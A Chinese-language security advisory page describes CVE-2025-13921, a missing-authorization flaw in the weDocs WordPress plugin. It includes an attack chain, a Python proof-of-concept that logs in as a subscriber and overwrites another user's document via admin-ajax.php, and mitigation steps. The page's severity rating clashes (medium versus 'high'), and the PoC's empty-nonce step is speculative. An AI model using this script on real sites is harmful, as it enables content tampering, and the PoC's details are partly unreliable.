IPBUF安全漏洞报告
English
CVE-2025-13921 CVSS 4.3 中危

CVE-2025-13921 WordPress weDocs插件权限绕过漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2025-13921
漏洞类型
权限绕过/未授权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot (WordPress插件)

相关标签

CVE-2025-13921WordPress插件漏洞权限绕过未授权访问weDocsBroken Access ControlMissing Authorization知识库插件内容篡改WordPress安全

漏洞概述

CVE-2025-13921是WordPress插件weDocs中的一个高危安全漏洞。该插件是一款AI驱动的知识库和文档管理工具。漏洞源于'wedocs_user_documentation_handling_capabilities'函数缺少权限检查(Missing Authorization),使得任何已认证用户(拥有Subscriber级别权限及以上)可以在未经授权的情况下编辑、修改或删除任意文档内容。由于该插件通常用于存储重要的技术文档和内部知识,攻击者利用此漏洞可以篡改文档内容、植入恶意信息或删除关键数据,对使用该插件的网站造成严重的安全威胁和业务中断风险。

技术细节

该漏洞属于OWASP Top 10中的'Broken Access Control'类别。具体来说,weDocs插件在处理用户文档操作时,'wedocs_user_documentation_handling_capabilities'函数没有正确验证当前用户是否具有编辑特定文档的权限。正常情况下,编辑他人创建的文档需要Editor或Administrator级别的权限,但该函数仅检查用户是否已登录(Subscriber级别即可),导致权限验证形同虚设。攻击者只需拥有一个低权限账户(如订阅者),即可通过构造特定的HTTP请求来修改其他用户创建的文档。漏洞在版本2.1.16中被部分修补,但完整修复可能需要更高级别的权限检查和用户身份验证机制。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress低权限账户(Subscriber级别),该账户通常只需要邮箱验证即可注册获得
STEP 2
步骤2
攻击者登录WordPress并获取有效的会话Cookie和认证令牌
STEP 3
步骤3
攻击者识别目标文档ID,该ID可通过浏览网站或查看页面源代码获取
STEP 4
步骤4
攻击者构造恶意请求,调用admin-ajax.php接口的wedocs_save_documentation操作
STEP 5
步骤5
由于缺少权限检查,服务器接受请求并允许攻击者修改原本无权限编辑的文档内容
STEP 6
步骤6
攻击成功,文档内容被篡改,攻击者可植入恶意代码、钓鱼内容或删除重要文档

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13921 PoC - weDocs Plugin Unauthorized Documentation Edit # Target: WordPress site with weDocs plugin <= 2.1.16 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" TARGET_DOC_ID = 123 # ID of the documentation to edit def exploit(): # Step 1: Login to WordPress session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Exploit the missing authorization check # The wedocs_user_documentation_handling_capabilities function # does not verify if user has permission to edit the target doc exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wedocs_save_documentation', 'doc_id': TARGET_DOC_ID, 'doc_title': 'Hacked by Attacker', 'doc_content': 'Malicious content injected', 'nonce': '' # May be missing or bypassable } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Successfully modified documentation ID: {TARGET_DOC_ID}") print("[+] Vulnerability confirmed - Missing authorization check exploited") return True else: print(f"[-] Exploitation failed: {resp.status_code}") return False if __name__ == "__main__": exploit()

影响范围

weDocs插件 <= 2.1.16

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1) 禁用或删除weDocs插件;2) 撤销所有Subscriber账户的编辑权限;3) 启用WordPress的访问控制插件;4) 监控wp-admin目录的异常请求;5) 限制非管理员用户访问admin-ajax.php接口。建议在生产环境中优先升级到插件最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表